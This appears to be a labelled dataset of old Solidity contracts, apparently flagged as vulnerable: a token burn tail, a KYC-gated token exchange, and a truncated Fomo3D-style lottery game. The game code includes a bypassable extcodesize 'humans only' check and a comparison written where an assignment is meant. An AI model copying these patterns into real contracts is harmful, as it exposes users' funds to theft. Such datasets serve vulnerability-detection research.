allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } } contract HCT is owned, TokenERC20 { mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != address(0x0)); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value >= balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
1
pragma solidity ^0.4.25; library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract SignerRole { using Roles for Roles.Role; event SignerAdded(address indexed account); event SignerRemoved(address indexed account); Roles.Role private signers; constructor() internal { _addSigner(msg.sender); } modifier onlySigner() { require(isSigner(msg.sender)); _; } function isSigner(address account) public view returns (bool) { return signers.has(account); } function addSigner(address account) public onlySigner { _addSigner(account); } function renounceSigner() public { _removeSigner(msg.sender); } function _addSigner(address account) internal { signers.add(account); emit SignerAdded(account); } function _removeSigner(address account) internal { signers.remove(account); emit SignerRemoved(account); } } library ECDSA { function recover(bytes32 hash, bytes signature) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; if (signature.length != 65) { return (address(0)); } assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", hash) ); } } contract SignatureBouncer is SignerRole { using ECDSA for bytes32; uint256 private constant _METHOD_ID_SIZE = 4; uint256 private constant _SIGNATURE_SIZE = 96; constructor() internal {} modifier onlyValidSignature(bytes signature) { require(_isValidSignature(msg.sender, signature)); _; } modifier onlyValidSignatureAndMethod(bytes signature) { require(_isValidSignatureAndMethod(msg.sender, signature)); _; } modifier onlyValidSignatureAndData(bytes signature) { require(_isValidSignatureAndData(msg.sender, signature)); _; } function _isValidSignature(address account, bytes signature) internal view returns (bool) { return _isValidDataHash( keccak256(abi.encodePacked(address(this), account)), signature ); } function _isValidSignatureAndMethod(address account, bytes signature) internal view returns (bool) { bytes memory data = new bytes(_METHOD_ID_SIZE); for (uint i = 0; i < data.length; i++) { data[i] = msg.data[i]; } return _isValidDataHash( keccak256(abi.encodePacked(address(this), account, data)), signature ); } function _isValidSignatureAndData(address account, bytes signature) internal view returns (bool) { require(msg.data.length > _SIGNATURE_SIZE); bytes memory data = new bytes(msg.data.length - _SIGNATURE_SIZE); for (uint i = 0; i < data.length; i++) { data[i] = msg.data[i]; } return _isValidDataHash( keccak256(abi.encodePacked(address(this), account, data)), signature ); } function _isValidDataHash(bytes32 hash, bytes signature) internal view returns (bool) { address signer = hash .toEthSignedMessageHash() .recover(signature); return signer != address(0) && isSigner(signer); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != 0); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != 0); require(value <= _balances[account]); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { require(value <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( value); _burn(account, value); } } contract ERC20Burnable is ERC20 { function burn(uint256 value) public { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } library SafeERC20 { using SafeMath for uint256; function safeTransfer( IERC20 token, address to, uint256 value ) internal { require(token.transfer(to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require((value == 0) || (token.allowance(msg.sender, spender) == 0)); require(token.approve(spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); require(token.approve(spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); require(token.approve(spender, newAllowance)); } } contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract AbstractAmbix is Ownable { using SafeERC20 for ERC20Burnable; using SafeERC20 for ERC20; address[][] public A; uint256[][] public N; address[] public B; uint256[] public M; function appendSource( address[] _a, uint256[] _n ) external onlyOwner { uint256 i; require(_a.length == _n.length && _a.length > 0); for (i = 0; i < _a.length; ++i) require(_a[i] != 0); if (_n.length == 1 && _n[0] == 0) { require(B.length == 1); } else { for (i = 0; i < _n.length; ++i) require(_n[i] > 0); } A.push(_a); N.push(_n); } function setSink( address[] _b, uint256[] _m ) external onlyOwner{ require(_b.length == _m.length); for (uint256 i = 0; i < _b.length; ++i) require(_b[i] != 0); B = _b; M = _m; } function _run(uint256 _ix) internal { require(_ix < A.length); uint256 i; if (N[_ix][0] > 0) { uint256 mux = ERC20(A[_ix][0]).allowance(msg.sender, this) / N[_ix][0]; require(mux > 0); for (i = 0; i < A[_ix].length; ++i) ERC20Burnable(A[_ix][i]).burnFrom(msg.sender, mux * N[_ix][i]); for (i = 0; i < B.length; ++i) ERC20(B[i]).safeTransfer(msg.sender, M[i] * mux); } else { require(A[_ix].length == 1 && B.length == 1); ERC20Burnable source = ERC20Burnable(A[_ix][0]); ERC20 sink = ERC20(B[0]); uint256 scale = 10 ** 18 * sink.balanceOf(this) / source.totalSupply(); uint256 allowance = source.allowance(msg.sender, this); require(allowance > 0); source.burnFrom(msg.sender, allowance); uint256 reward = scale * allowance / 10 ** 18; require(reward > 0); sink.safeTransfer(msg.sender, reward); } } } contract KycAmbix is AbstractAmbix, SignatureBouncer { function run(uint256 _ix, bytes _signature) external onlyValidSignature(_signature) { _run(_ix); } }
1
pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract F3DPLUS is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x4Cc47443f9452b64CC5923EDA771BB7f6E505BB4); address private admin = msg.sender; string constant public name = "f3dplus"; string constant public symbol = "f3dplus"; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 2 minutes; uint256 constant private rndInit_ = 8 minutes; uint256 constant private rndInc_ = 1 seconds; uint256 constant private rndMax_ = 10 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(22,6); fees_[1] = F3Ddatasets.TeamFee(38,0); fees_[2] = F3Ddatasets.TeamFee(52,10); fees_[3] = F3Ddatasets.TeamFee(68,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if 